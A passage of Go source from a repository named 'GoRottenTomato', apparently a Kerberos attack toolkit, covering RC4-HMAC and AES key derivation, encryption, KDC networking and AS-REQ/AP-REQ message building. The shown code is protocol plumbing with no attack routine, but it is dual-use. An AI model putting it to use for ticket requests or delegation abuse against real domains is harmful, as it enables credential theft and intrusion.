DecryptMessage decrypts the message provided using the methods specific to the etype provided as defined in RFC 3962. 69 | // The integrity of the message is also verified. 70 | func DecryptMessage(key, ciphertext []byte, usage uint32, e etype.EType) ([]byte, error) { 71 | //Derive the key 72 | k, err := e.DeriveKey(key, common.GetUsageKe(usage)) 73 | if err != nil { 74 | return nil, fmt.Errorf("error deriving key: %v", err) 75 | } 76 | // Strip off the checksum from the end 77 | b, err := e.DecryptData(k, ciphertext[:len(ciphertext)-e.GetHMACBitLength()/8]) 78 | if err != nil { 79 | return nil, err 80 | } 81 | //Verify checksum 82 | if !e.VerifyIntegrity(key, ciphertext, b, usage) { 83 | return nil, errors.New("integrity verification failed") 84 | } 85 | //Remove the confounder bytes 86 | return b[e.GetConfounderByteSize():], nil 87 | } -------------------------------------------------------------------------------- /krb5/crypto/rfc3962/rfc3962.go: -------------------------------------------------------------------------------- 1 | package rfc3962 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/etype" 5 | "GoRottenTomato/krb5/crypto/pbkdf2" 6 | "encoding/binary" 7 | "encoding/hex" 8 | "errors" 9 | ) 10 | 11 | const ( 12 | s2kParamsZero = 4294967296 13 | ) 14 | 15 | // StringToKey returns a key derived from the string provided according to the definition in RFC 3961. 16 | func StringToKey(secret, salt, s2kparams string, e etype.EType) ([]byte, error) { 17 | i, err := S2KparamsToItertions(s2kparams) 18 | if err != nil { 19 | return nil, err 20 | } 21 | return StringToKeyIter(secret, salt, i, e) 22 | } 23 | 24 | // StringToPBKDF2 generates an encryption key from a pass phrase and salt string using the PBKDF2 function from PKCS #5 v2.0 25 | func StringToPBKDF2(secret, salt string, iterations int64, e etype.EType) []byte { 26 | return pbkdf2.Key64([]byte(secret), []byte(salt), iterations, int64(e.GetKeyByteSize()), e.GetHashFunc()) 27 | } 28 | 29 | // StringToKeyIter returns a key derived from the string provided according to the definition in RFC 3961. 30 | func StringToKeyIter(secret, salt string, iterations int64, e etype.EType) ([]byte, error) { 31 | tkey := e.RandomToKey(StringToPBKDF2(secret, salt, iterations, e)) 32 | return e.DeriveKey(tkey, []byte("kerberos")) 33 | } 34 | 35 | // S2KparamsToItertions converts the string representation of iterations to an integer 36 | func S2KparamsToItertions(s2kparams string) (int64, error) { 37 | //The s2kparams string should be hex string representing 4 bytes 38 | //The 4 bytes represent a number in big endian order 39 | //If the value is zero then the number of iterations should be 4,294,967,296 (2^32) 40 | var i uint32 41 | if len(s2kparams) != 8 { 42 | return int64(s2kParamsZero), errors.New("invalid s2kparams length") 43 | } 44 | b, err := hex.DecodeString(s2kparams) 45 | if err != nil { 46 | return int64(s2kParamsZero), errors.New("invalid s2kparams, cannot decode string to bytes") 47 | } 48 | i = binary.BigEndian.Uint32(b) 49 | return int64(i), nil 50 | } -------------------------------------------------------------------------------- /krb5/crypto/rfc4757/checksum.go: -------------------------------------------------------------------------------- 1 | package rfc4757 2 | 3 | import ( 4 | "bytes" 5 | "crypto/hmac" 6 | "crypto/md5" 7 | "io" 8 | ) 9 | 10 | func Checksum(key []byte, usage uint32, data []byte) ([]byte, error) { 11 | s := append([]byte(`signaturekey`), byte(0x00)) 12 | mac := hmac.New(md5.New, key) 13 | mac.Write(s) 14 | Ksign := mac.Sum(nil) 15 | 16 | tb := UsageToMSMsgType(usage) 17 | p := append(tb, data...) 18 | h := md5.New() 19 | rb := bytes.NewReader(p) 20 | _, err := io.Copy(h, rb) 21 | if err != nil { 22 | return []byte{}, err 23 | } 24 | tmp := h.Sum(nil) 25 | 26 | mac = hmac.New(md5.New, Ksign) 27 | mac.Write(tmp) 28 | return mac.Sum(nil), nil 29 | } 30 | 31 | func HMAC(key []byte, data []byte) []byte { 32 | mac := hmac.New(md5.New, key) 33 | mac.Write(data) 34 | return mac.Sum(nil) 35 | } 36 | -------------------------------------------------------------------------------- /krb5/crypto/rfc4757/encryption.go: -------------------------------------------------------------------------------- 1 | package rfc4757 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/etype" 5 | "crypto/hmac" 6 | "crypto/rc4" 7 | "crypto/rand" 8 | "errors" 9 | "fmt" 10 | ) 11 | 12 | func EncryptData(key, data []byte, e etype.EType) ([]byte, error) { 13 | if len(key) != e.GetKeyByteSize() { 14 | return []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key)) 15 | } 16 | rc4Cipher, err := rc4.NewCipher(key) 17 | if err != nil { 18 | return []byte{}, fmt.Errorf("error creating RC4 cipher: %v", err) 19 | } 20 | ed := make([]byte, len(data)) 21 | copy(ed, data) 22 | rc4Cipher.XORKeyStream(ed, ed) 23 | rc4Cipher.Reset() 24 | return ed, nil 25 | } 26 | 27 | func DecryptData(key, data []byte, e etype.EType) ([]byte, error) { 28 | return EncryptData(key, data, e) 29 | } 30 | 31 | func EncryptMessage(key, data []byte, usage uint32, export bool, e etype.EType) ([]byte, error) { 32 | confounder := make([]byte, e.GetConfounderByteSize()) // size = 8 33 | _, err := rand.Read(confounder) 34 | if err != nil { 35 | return []byte{}, fmt.Errorf("error generating confounder: %v", err) 36 | } 37 | k1 := key 38 | k2 := HMAC(k1, UsageToMSMsgType(usage)) 39 | toenc := append(confounder, data...) 40 | chksum := HMAC(k2, toenc) 41 | k3 := HMAC(k2, chksum) 42 | 43 | ed, err := EncryptData(k3, toenc, e) 44 | if err != nil { 45 | return []byte{}, fmt.Errorf("error encrypting data: %v", err) 46 | } 47 | 48 | msg := append(chksum, ed...) 49 | return msg, nil 50 | } 51 | 52 | func DecryptMessage(key, data []byte, usage uint32, export bool, e etype.EType) ([]byte, error) { 53 | checksum := data[:e.GetHMACBitLength()/8] 54 | ct := data[e.GetHMACBitLength()/8:] 55 | _, k2, k3 := deriveKeys(key, checksum, usage, export) 56 | 57 | pt, err := DecryptData(k3, ct, e) 58 | if err != nil { 59 | return []byte{}, fmt.Errorf("error decrypting data: %v", err) 60 | } 61 | 62 | if !VerifyIntegrity(k2, pt, data, e) { 63 | return []byte{}, errors.New("integrity checksum incorrect") 64 | } 65 | return pt[e.GetConfounderByteSize():], nil 66 | } 67 | 68 | func VerifyIntegrity(key, pt, data []byte, e etype.EType) bool { 69 | chksum := HMAC(key, pt) 70 | return hmac.Equal(chksum, data[:e.GetHMACBitLength()/8]) 71 | } 72 | -------------------------------------------------------------------------------- /krb5/crypto/rfc4757/keyDerivation.go: -------------------------------------------------------------------------------- 1 | package rfc4757 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/md4" 5 | "bytes" 6 | "encoding/hex" 7 | "errors" 8 | "fmt" 9 | "io" 10 | ) 11 | 12 | func StringToKey(secret string) ([]byte, error) { 13 | b := make([]byte, len(secret)*2, len(secret)*2) 14 | for i, r := range secret { 15 | u := fmt.Sprintf("%04x", r) 16 | c, err := hex.DecodeString(u) 17 | if err != nil { 18 | return []byte{}, errors.New("character could not be encoded") 19 | } 20 | b[2*i] = c[1] 21 | b[2*i+1] = c[0] 22 | } 23 | r := bytes.NewReader(b) 24 | h := md4.New() 25 | _, err := io.Copy(h, r) 26 | if err != nil { 27 | return []byte{}, err 28 | } 29 | return h.Sum(nil), nil 30 | } 31 | 32 | func deriveKeys(key, checksum []byte, usage uint32, export bool) (k1, k2, k3 []byte) { 33 | k1 = key 34 | k2 = HMAC(k1, UsageToMSMsgType(usage)) 35 | k3 = HMAC(k2, checksum) 36 | return 37 | } 38 | -------------------------------------------------------------------------------- /krb5/crypto/rfc4757/msgtype.go: -------------------------------------------------------------------------------- 1 | package rfc4757 2 | 3 | import "encoding/binary" 4 | 5 | func UsageToMSMsgType(usage uint32) []byte { 6 | switch usage { 7 | case 3: 8 | usage = 8 9 | case 9: 10 | usage = 8 11 | case 23: 12 | usage = 13 13 | } 14 | tb := make([]byte, 4) 15 | binary.PutUvarint(tb, uint64(usage)) 16 | return tb 17 | } 18 | -------------------------------------------------------------------------------- /krb5/flags/PrincipalNames.go: -------------------------------------------------------------------------------- 1 | package flags 2 | 3 | //Principal Names 4 | //https://datatracker.ietf.org/doc/html/rfc4120#section-6.2 5 | const ( 6 | NT_PRINCIPAL int32 = 1 7 | NT_SRV_INST int32 = 2 8 | NT_SRV_HST int32 = 3 9 | KRB5_NT_ENTERPRISE_PRINCIPAL int32 = 10 10 | ) 11 | -------------------------------------------------------------------------------- /krb5/flags/kerberos.go: -------------------------------------------------------------------------------- 1 | package flags 2 | 3 | const ( 4 | PVNO = 5 //Kerberos Version 5 | ) 6 | 7 | //PreAuthentication Data Types 8 | //https://datatracker.ietf.org/doc/html/rfc4120#section-7.5.2 9 | const ( 10 | PA_PW_SALT int32 = 3 11 | PA_ETYPE_INFO int32 = 11 12 | PA_ETYPE_INFO2 int32 = 19 13 | PA_PAC_REQUEST int32 = 128 14 | PA_PAC_OPTIONS int32 = 167 15 | ) 16 | 17 | //KDC Port 18 | //https://datatracker.ietf.org/doc/html/rfc1510#section-8.2.1 19 | const ( 20 | KDC_PORT = 88 21 | ) 22 | 23 | //Application Tag Numbers 24 | //https://datatracker.ietf.org/doc/html/rfc4120#section-5.10 25 | const ( 26 | Ticket = 1 27 | AS_REQ = 10 28 | ) 29 | 30 | //Message Types 31 | //https://datatracker.ietf.org/doc/html/rfc4120#section-7.5.7 32 | const ( 33 | KRB_AS_REQ = 10 34 | KRB_AS_REP = 11 35 | KRB_TGS_REQ = 12 36 | KRB_TGS_REP = 13 37 | KRB_AP_REQ = 14 38 | KRB_CRED = 22 39 | EncKrbCredPart = 29 40 | KRB_ERROR = 30 //Error response 41 | ) 42 | 43 | 44 | //Error Codes 45 | //https://datatracker.ietf.org/doc/html/rfc4120#section-7.5.9 46 | const ( 47 | KDC_ERR_PREAUTH_REQUIRED int32 = 25 48 | ) 49 | 50 | 51 | 52 | //Kerberos Encryption Types 53 | //https://ldapwiki.com/wiki/Kerberos%20Encryption%20Types 54 | const ( 55 | AES_128_CTS_HMAC_SHA1 = int32(17) 56 | AES_256_CTS_HMAC_SHA1 = int32(18) 57 | RC4_HMAC_MD5 = int32(23) 58 | ) 59 | 60 | //Key Usage Values 61 | //https://datatracker.ietf.org/doc/html/draft-ietf-cat-kerb-key-derivation 62 | const ( 63 | AS_REQ_PA_ENC_TIMESTAMP = 1 64 | ) 65 | 66 | //padata-type 67 | //https://datatracker.ietf.org/doc/html/rfc4120#section-5.2.7 68 | const ( 69 | PA_ENC_TIMESTAMP int32 = 2 70 | ) 71 | 72 | //checksum types 73 | const ( 74 | HMAC_SHA1_96_AES128 int32 = 15 75 | HMAC_SHA1_96_AES256 int32 = 16 76 | KERB_CHECKSUM_HMAC_MD5 int32 = -138 77 | ) 78 | 79 | //ASN1 application tag numbers 80 | const ( 81 | Authenticator = 2 82 | ASREQ = 10 83 | ASREP = 11 84 | TGSREQ = 12 85 | TGSREP = 13 86 | APREQ = 14 87 | KRBCred = 22 88 | EncASRepPart = 25 89 | EncTGSRepPart = 26 90 | KRBError = 30 91 | ) 92 | 93 | //KerberosFlags 94 | //https://datatracker.ietf.org/doc/html/rfc4120#section-5.4.1 95 | //https://www.rfc-editor.org/rfc/rfc4120.txt 96 | const ( 97 | Reserved = 0 98 | Forwardable = 1 99 | Forwarded = 2 100 | Proxiable = 3 101 | Proxy = 4 102 | Allow_Postdate = 5 103 | Postdated = 6 104 | Invalid = 7 105 | Renewable = 8 106 | Initial = 9 107 | PreAuthent = 10 108 | HwAuthent = 11 109 | TransitedPolicyChecked = 12 110 | OkAsDelegate = 13 111 | CONSTRAINED_DELEGATION = 14 112 | NameCanonicalize = 15 113 | Renewable_OK = 27 114 | Enc_TKT_In_Skey = 28 115 | Renew = 30 116 | ) 117 | 118 | //Key usage numbers 119 | //https://datatracker.ietf.org/doc/html/rfc4120#section-7.5.1 120 | const ( 121 | AS_REP_ENCPART = 3 122 | TGS_REQ_PA_TGS_REQ_AP_REQ_AUTHENTICATOR = 7 123 | TGS_REP_ENCPART_SESSION_KEY = 8 124 | AP_REQ_AUTHENTICATOR = 11 125 | KRB_CRED_ENCPART = 14 126 | ) 127 | 128 | //pre-authentication types 129 | //https://datatracker.ietf.org/doc/html/rfc1510 130 | const ( 131 | PA_TGS_REQ int32 = 1 132 | PA_FOR_USER int32 = 129 133 | ) 134 | 135 | -------------------------------------------------------------------------------- /krb5/netWork/netWork.go: -------------------------------------------------------------------------------- 1 | package netWork 2 | 3 | import ( 4 | "GoRottenTomato/krb5/KRBError" 5 | "GoRottenTomato/krb5/flags" 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "io" 10 | "net" 11 | "time" 12 | ) 13 | 14 | // https://tools.ietf.org/html/rfc4120#section-7.2.2 15 | func SendToKDC(dcIP string, data []byte) ([]byte, error) { 16 | resp, err := sendKDC(dcIP, data) 17 | if err != nil { 18 | if e, ok := err.(KRBError.KRB_Error); ok { 19 | return resp, e 20 | } 21 | return resp, fmt.Errorf("communication error with KDC via TCP: %v", err) 22 | } 23 | return resp, nil 24 | } 25 | 26 | func sendKDC(dcIP string, data []byte) ([]byte, error) { 27 | con, err := dialKDC(dcIP) 28 | if err != nil { 29 | return nil, err 30 | } 31 | 32 | resp, err := send(con, data) 33 | if err != nil { 34 | return nil, err 35 | } 36 | 37 | return checkKRBError(resp) 38 | } 39 | 40 | func dialKDC(dcIP string) (*net.TCPConn, error) { 41 | con, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d",judge(dcIP), flags.KDC_PORT), 10*time.Second) 42 | if err != nil { 43 | return nil, fmt.Errorf("connect to KDC failed %v", err) 44 | }else { 45 | if err := con.SetDeadline(time.Now().Add(10*time.Second)); err != nil { 46 | return nil, fmt.Errorf("connect to KDC failed %v", err) 47 | } 48 | return con.(*net.TCPConn), nil 49 | } 50 | } 51 | 52 | func send(con *net.TCPConn, data []byte) ([]byte, error) { 53 | defer con.Close() 54 | var buf bytes.Buffer 55 | 56 | err := binary.Write(&buf, binary.BigEndian, uint32(len(data))) 57 | if err != nil { 58 | return nil, err 59 | } 60 | data = append(buf.Bytes(), data...) 61 | 62 | _, err = con.Write(data) 63 | if err != nil { 64 | return nil, fmt.Errorf("sending to KDC(%s) failed %v", con.RemoteAddr().String(), err) 65 | } 66 | 67 | resp := make([]byte, 4, 4) 68 | _, err = con.Read(resp) 69 | if err != nil { 70 | return nil, fmt.Errorf("read KDC(%s) response failed %v", con.RemoteAddr().String(), err) 71 | } 72 | size := binary.BigEndian.Uint32(resp) 73 | respData := make([]byte, size, size) 74 | _, err = io.ReadFull(con, respData) 75 | if err != nil { 76 | return nil, fmt.Errorf("can not read KDC(%s) response size %d %v", con.RemoteAddr().String(),size ,err) 77 | } 78 | 79 | if len(respData) < 1 { 80 | return nil, fmt.Errorf("read KDC(%s) response failed KRB_AP_ERR_BAD_INTEGRITY", con.RemoteAddr().String()) 81 | } 82 | 83 | return respData, nil 84 | } 85 | 86 | func checkKRBError(data []byte) ([]byte, error) { 87 | var krberr KRBError.KRB_Error 88 | if err := krberr.Unmarshal(data); err == nil { 89 | return data, krberr 90 | } 91 | return data, nil 92 | } 93 | 94 | func judge(dcip string) string { 95 | for i := 0; i < len(dcip); i++ { 96 | switch dcip[i] { 97 | case '.': 98 | return dcip 99 | case ':': 100 | return fmt.Sprintf("[%s]", dcip) 101 | } 102 | } 103 | return dcip 104 | } -------------------------------------------------------------------------------- /krb5/procedure/AP_REQ.go: -------------------------------------------------------------------------------- 1 | package procedure 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/funcs" 6 | "GoRottenTomato/krb5/crypto" 7 | "GoRottenTomato/krb5/flags" 8 | "GoRottenTomato/krb5/ticket" 9 | "GoRottenTomato/krb5/types" 10 | "fmt" 11 | ) 12 | 13 | type AP_REQ struct { 14 | PVNO int `asn1:"explicit,tag:0"` 15 | Msg_Type int `asn1:"explicit,tag:1"` 16 | AP_Options asn1.BitString `asn1:"explicit,tag:2"` 17 | Ticket ticket.Ticket `asn1:"explicit,tag:3"` 18 | EncryptedAuthenticator types.EncryptedData `asn1:"explicit,tag:4"` 19 | Authenticator types.Authenticator `asn1:"optional"` 20 | } 21 | 22 | type mAP_REQ struct { 23 | PVNO int `asn1:"explicit,tag:0"` 24 | MsgType int `asn1:"explicit,tag:1"` 25 | APOptions asn1.BitString `asn1:"explicit,tag:2"` 26 | Ticket asn1.RawValue `asn1:"explicit,tag:3"` 27 | EncryptedAuthenticator types.EncryptedData `asn1:"explicit,tag:4"` 28 | } 29 | 30 | func NewAPREQ(tgt ticket.Ticket, sessionkey types.EncryptionKey, auth types.Authenticator) (AP_REQ, error) { 31 | var apreq AP_REQ 32 | ap := types.NewKrbFlags() 33 | encauth, err := encAuthenticator(tgt, sessionkey, auth) 34 | if err != nil { 35 | return apreq, fmt.Errorf("build apreq failed %v", err) 36 | } 37 | apreq = AP_REQ{ 38 | PVNO: flags.PVNO, 39 | Msg_Type: flags.KRB_AP_REQ, 40 | AP_Options: ap, 41 | Ticket: tgt, 42 | EncryptedAuthenticator: encauth, 43 | } 44 | return apreq, nil 45 | } 46 | 47 | func encAuthenticator(tgt ticket.Ticket, sessionkey types.EncryptionKey, auth types.Authenticator) (types.EncryptedData, error) { 48 | var encdata types.EncryptedData 49 | mauth, err := auth.Marshal() 50 | if err != nil { 51 | return encdata, fmt.Errorf("encrypt Authenticator failed %v", err) 52 | } 53 | usage := getKeyUsage(tgt.SName) 54 | encdata, err = crypto.GetEncryptedData(mauth, sessionkey, uint32(usage), tgt.Enc_Part.Kvno) 55 | if err != nil { 56 | return encdata, fmt.Errorf("encrypt Authenticator failed %v", err) 57 | } 58 | return encdata, nil 59 | } 60 | 61 | func getKeyUsage(pn types.PrincipalName) int { 62 | if pn.Name_String[0] == "krbtgt" { 63 | return flags.TGS_REQ_PA_TGS_REQ_AP_REQ_AUTHENTICATOR 64 | } 65 | return flags.AP_REQ_AUTHENTICATOR 66 | } 67 | 68 | func (org *AP_REQ)Marshal() ([]byte, error) { 69 | m := mAP_REQ{ 70 | PVNO: org.PVNO, 71 | MsgType: org.Msg_Type, 72 | APOptions: org.AP_Options, 73 | EncryptedAuthenticator: org.EncryptedAuthenticator, 74 | } 75 | mticket, err := org.Ticket.Marshal() 76 | if err != nil { 77 | return nil, fmt.Errorf("apreq marshaling failed %v", err) 78 | } 79 | m.Ticket = asn1.RawValue{ 80 | Class: asn1.ClassContextSpecific, 81 | IsCompound: true, 82 | Tag: 3, 83 | Bytes: mticket, 84 | } 85 | data, err := asn1.Marshal(m) 86 | if err != nil { 87 | return nil, err 88 | } 89 | data = funcs.AddASNTag(data, flags.APREQ) 90 | return data, nil 91 | } -------------------------------------------------------------------------------- /krb5/procedure/AS_REP.go: -------------------------------------------------------------------------------- 1 | package procedure 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/KRBError" 6 | "GoRottenTomato/krb5/crypto" 7 | "GoRottenTomato/krb5/flags" 8 | "GoRottenTomato/krb5/ticket" 9 | "GoRottenTomato/krb5/types" 10 | "fmt" 11 | ) 12 | 13 | type AS_REP struct { 14 | KDC_REP 15 | } 16 | 17 | func (org *AS_REP)Unmarshal(data []byte) error { 18 | var m mKDC_REP 19 | _, err := asn1.UnmarshalWithParams(data, &m, fmt.Sprintf("application,explicit,tag:%v", flags.ASREP)) 20 | if err != nil { 21 | return KRBError.ProcessUnmarshalReplyError(data, err) 22 | } 23 | if m.Msg_Type != flags.KRB_AS_REP { 24 | return fmt.Errorf("message ID does not indicate an AS_REP") 25 | } 26 | t, err := ticket.UnmarshalTicket(m.Ticket.Bytes) 27 | if err != nil { 28 | return fmt.Errorf("ticket unmarshaling failed in AS_REP") 29 | } 30 | org.KDC_REP = KDC_REP{ 31 | Pvno: m.Pvno, 32 | Msg_Type: m.Msg_Type, 33 | Padata: m.Padata, 34 | CRealm: m.CRealm, 35 | CName: m.CName, 36 | Ticket: t, 37 | Enc_Part: m.Enc_Part, 38 | } 39 | return nil 40 | } 41 | 42 | func (org *AS_REP)DecryptEncPart(key types.EncryptionKey) (err error) { 43 | plaintext, err := crypto.DecryptEncPart(org.KDC_REP.Enc_Part, key, flags.AS_REP_ENCPART) 44 | if err != nil { 45 | return 46 | } 47 | var ekrp EncKDCRepPart 48 | ekrp.Key.KeyType = 23 49 | err = ekrp.Unmarshal(plaintext) 50 | if err != nil { 51 | return fmt.Errorf("unmarshaling AS_REP EncKDCRepPart error %v", err) 52 | } 53 | org.DecryptedEncPart = ekrp 54 | return 55 | } 56 | 57 | 58 | func (org *AS_REP)GetTGT() *KRB_CRED { 59 | info := org.KDC_REP.DecryptedEncPart.GetKrbCredInfo() 60 | info.PRealm = org.CRealm 61 | info.PName = org.CName 62 | cred := &KRB_CRED{ 63 | Pvno: flags.PVNO, 64 | Msg_Type: flags.KRB_CRED, 65 | Tickets: []ticket.Ticket{org.KDC_REP.Ticket}, 66 | DecEncPart: EncKrbCredPart{ 67 | Ticket_Info: []KrbCredInfo{info}, 68 | }, 69 | } 70 | return cred 71 | } -------------------------------------------------------------------------------- /krb5/procedure/AS_REQ.go: -------------------------------------------------------------------------------- 1 | package procedure 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/funcs" 6 | "GoRottenTomato/krb5/flags" 7 | "GoRottenTomato/krb5/ticket" 8 | "GoRottenTomato/krb5/types" 9 | "fmt" 10 | "time" 11 | ) 12 | 13 | type AS_REQ struct { 14 | KDC_REQ 15 | } 16 | 17 | func NewASREQ(realm string, clientName,serverName types.PrincipalName, flag asn1.BitString, eTypeID int32) *AS_REQ { 18 | nonce := funcs.GetNonce() 19 | now := time.Now().UTC() 20 | req := &AS_REQ{ 21 | KDC_REQ{ 22 | Pvno: flags.PVNO, 23 | Msg_Type: flags.KRB_AS_REQ, 24 | Padata: types.PADataSequence{}, 25 | Req_Body: KDC_REQ_BODY{ 26 | KDC_Options: flag, 27 | CName: clientName, 28 | Realm: realm, 29 | SName: serverName, 30 | Till: now.Add(time.Hour * 24), 31 | Nonce: nonce, 32 | EType: []int32{eTypeID}, 33 | }, 34 | }, 35 | } 36 | return req 37 | } 38 | 39 | func (org *KDC_REQ_BODY)Marshal() ([]byte, error) { 40 | marshal := mKDC_REQ_BODY{ 41 | KDC_Options: org.KDC_Options, 42 | CName: org.CName, 43 | Realm: org.Realm, 44 | SName: org.SName, 45 | From: org.From, 46 | Till: org.Till, 47 | RTime: org.RTime, 48 | Nonce: org.Nonce, 49 | EType: org.EType, 50 | Addresses: org.Addresses, 51 | Enc_Authorization_Data: org.Enc_Authorization_Data, 52 | } 53 | 54 | raw, err := ticket.MarshalTicket(org.Additional_Tickets) 55 | if err != nil { 56 | return nil, fmt.Errorf("AS_REQ %v", err) 57 | } 58 | 59 | raw.Tag = 11 60 | 61 | if len(raw.Bytes) >0 { 62 | marshal.Additional_Tickets = raw 63 | } 64 | 65 | data, err := asn1.Marshal(marshal) 66 | if err != nil { 67 | return nil, fmt.Errorf("error in KDC_REQ_BODY %v", err) 68 | } 69 | 70 | return data, nil 71 | } 72 | 73 | func (org *AS_REQ)Marshal() ([]byte, error) { 74 | marshal := mKDC_REQ{ 75 | Pvno: org.Pvno, 76 | Msg_Type: org.Msg_Type, 77 | Padata: org.Padata, 78 | } 79 | reqBody, err := org.Req_Body.Marshal() 80 | if err != nil { 81 | return nil, err 82 | } 83 | 84 | marshal.Req_Body = asn1.RawValue{ 85 | Class: asn1.ClassContextSpecific, 86 | IsCompound: true, 87 | Tag: 4, 88 | Bytes: reqBody, 89 | } 90 | 91 | data, err := asn1.Marshal(marshal) 92 | if err != nil { 93 | return nil, fmt.Errorf("error in AS_REQ %v", err) 94 | } 95 | data = funcs.AddASNTag(data, flags.AS_REQ) 96 | return data, nil 97 | } 98 | 99 | -------------------------------------------------------------------------------- /krb5/procedure/KDC_REP.go: -------------------------------------------------------------------------------- 1 | package procedure 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/flags" 6 | "GoRottenTomato/krb5/ticket" 7 | "GoRottenTomato/krb5/types" 8 | "fmt" 9 | "time" 10 | ) 11 | 12 | type KDC_REP struct { 13 | Pvno int 14 | Msg_Type int 15 | Padata []types.PA_DATA 16 | CRealm string 17 | CName types.PrincipalName 18 | Ticket ticket.Ticket 19 | Enc_Part types.EncryptedData 20 | DecryptedEncPart EncKDCRepPart 21 | } 22 | 23 | type EncKDCRepPart struct { 24 | Key types.EncryptionKey `asn1:"explicit,tag:0"` 25 | Last_Reqs []LastReq `asn1:"explicit,tag:1"` 26 | Nonce int `asn1:"explicit,tag:2"` 27 | Key_Expiration time.Time `asn1:"generalized,explicit,optional,tag:3"` 28 | Flags asn1.BitString `asn1:"explicit,tag:4"` 29 | AuthTime time.Time `asn1:"generalized,explicit,tag:5"` 30 | StartTime time.Time `asn1:"generalized,explicit,optional,tag:6"` 31 | EndTime time.Time `asn1:"generalized,explicit,tag:7"` 32 | Renew_Till time.Time `asn1:"generalized,explicit,optional,tag:8"` 33 | SRealm string `asn1:"generalstring,explicit,tag:9"` 34 | SName types.PrincipalName `asn1:"explicit,tag:10"` 35 | CAddr []types.HostAddress `asn1:"explicit,optional,tag:11"` 36 | EncPAData types.PADataSequence `asn1:"explicit,optional,tag:12"` 37 | } 38 | 39 | type LastReq struct { 40 | Lr_Type int32 `asn1:"explicit,tag:0"` 41 | Lr_Value time.Time `asn1:"generalized,explicit,tag:1"` 42 | } 43 | 44 | type mKDC_REP struct { 45 | Pvno int `asn1:"explicit,tag:0"` 46 | Msg_Type int `asn1:"explicit,tag:1"` 47 | Padata types.PADataSequence `asn1:"explicit,optional,tag:2"` 48 | CRealm string `asn1:"generalstring,explicit,tag:3"` 49 | CName types.PrincipalName `asn1:"explicit,tag:4"` 50 | Ticket asn1.RawValue `asn1:"explicit,tag:5"` 51 | Enc_Part types.EncryptedData `asn1:"explicit,tag:6"` 52 | } 53 | 54 | func (org *EncKDCRepPart)Unmarshal(data []byte) (err error) { 55 | _, err = asn1.UnmarshalWithParams(data, org, fmt.Sprintf("application,explicit,tag:%v", flags.EncASRepPart)) 56 | if err != nil { 57 | _, err = asn1.UnmarshalWithParams(data, org, fmt.Sprintf("application,explicit,tag:%v", flags.EncTGSRepPart)) 58 | if err != nil { 59 | return 60 | } 61 | } 62 | return 63 | } 64 | 65 | func (org *EncKDCRepPart)GetKrbCredInfo() KrbCredInfo { 66 | return KrbCredInfo{ 67 | Key: org.Key, 68 | Flags: org.Flags, 69 | StartTime: org.StartTime, 70 | EndTime: org.EndTime, 71 | Renew_Till: org.Renew_Till, 72 | SRealm: org.SRealm, 73 | SName: org.SName, 74 | } 75 | } -------------------------------------------------------------------------------- /krb5/procedure/KDC_REQ.go: -------------------------------------------------------------------------------- 1 | package procedure 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/ticket" 6 | "GoRottenTomato/krb5/types" 7 | "time" 8 | ) 9 | 10 | type KDC_REQ_BODY struct { 11 | KDC_Options asn1.BitString `asn1:"explicit,tag:0"` 12 | CName types.PrincipalName `asn1:"explicit,optional,tag:1"` 13 | Realm string `asn1:"generalstring,explicit,tag:2"` 14 | SName types.PrincipalName `asn1:"explicit,optional,tag:3"` 15 | From time.Time `asn1:"generalized,explicit,optional,tag:4"` 16 | Till time.Time `asn1:"generalized,explicit,tag:5"` 17 | RTime time.Time `asn1:"generalized,explicit,optional,tag:6"` 18 | Nonce int `asn1:"explicit,tag:7"` 19 | EType []int32 `asn1:"explicit,tag:8"` 20 | Addresses []types.HostAddress `asn1:"explicit,optional,tag:9"` 21 | Enc_Authorization_Data types.EncryptedData `asn1:"explicit,optional,tag:10"` 22 | Additional_Tickets []ticket.Ticket `asn1:"explicit,optional,tag:11"` 23 | } 24 | 25 | type KDC_REQ struct { 26 | Pvno int 27 | Msg_Type int 28 | Padata types.PADataSequence 29 | Req_Body KDC_REQ_BODY 30 | } 31 | 32 | type mKDC_REQ struct { 33 | Pvno int `asn1:"explicit,tag:1"` 34 | Msg_Type int `asn1:"explicit,tag:2"` 35 | Padata types.PADataSequence `asn1:"explicit,optional,tag:3"` 36 | Req_Body asn1.RawValue `asn1:"explicit,tag:4"` 37 | } 38 | 39 | type mKDC_REQ_BODY struct { 40 | KDC_Options asn1.BitString `asn1:"explicit,tag:0"` 41 | CName types.PrincipalName `asn1:"explicit,optional,tag:1"` 42 | Realm string `asn1:"generalstring,explicit,tag:2"` 43 | SName types.PrincipalName `asn1:"explicit,optional,tag:3"` 44 | From time.Time `asn1:"generalized,explicit,optional,tag:4"` 45 | Till time.Time `asn1:"generalized,explicit,tag:5"` 46 | RTime time.Time `asn1:"generalized,explicit,optional,tag:6"` 47 | Nonce int `asn1:"explicit,tag:7"` 48 | EType []int32 `asn1:"explicit,tag:8"` 49 | Addresses []types.HostAddress `asn1:"explicit,optional,tag:9"` 50 | Enc_Authorization_Data types.EncryptedData `asn1:"explicit,optional,tag:10"` 51 | Additional_Tickets asn1.RawValue `asn1:"explicit,optional,tag:11"` 52 | } 53 | -------------------------------------------------------------------------------- /krb5/procedure/KRB_CRED.go: -------------------------------------------------------------------------------- 1 | package procedure 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/crypto" 6 | "GoRottenTomato/krb5/flags" 7 | "GoRottenTomato/krb5/ticket" 8 | "GoRottenTomato/krb5/types" 9 | "fmt" 10 | "reflect" 11 | "time" 12 | ) 13 | 14 | type KRB_CRED struct { 15 | Pvno int 16 | Msg_Type int 17 | Tickets []ticket.Ticket 18 | Enc_Part types.EncryptedData 19 | DecEncPart EncKrbCredPart 20 | } 21 | 22 | type EncKrbCredPart struct { 23 | Ticket_Info []KrbCredInfo `asn1:"explicit,tag:0"` 24 | 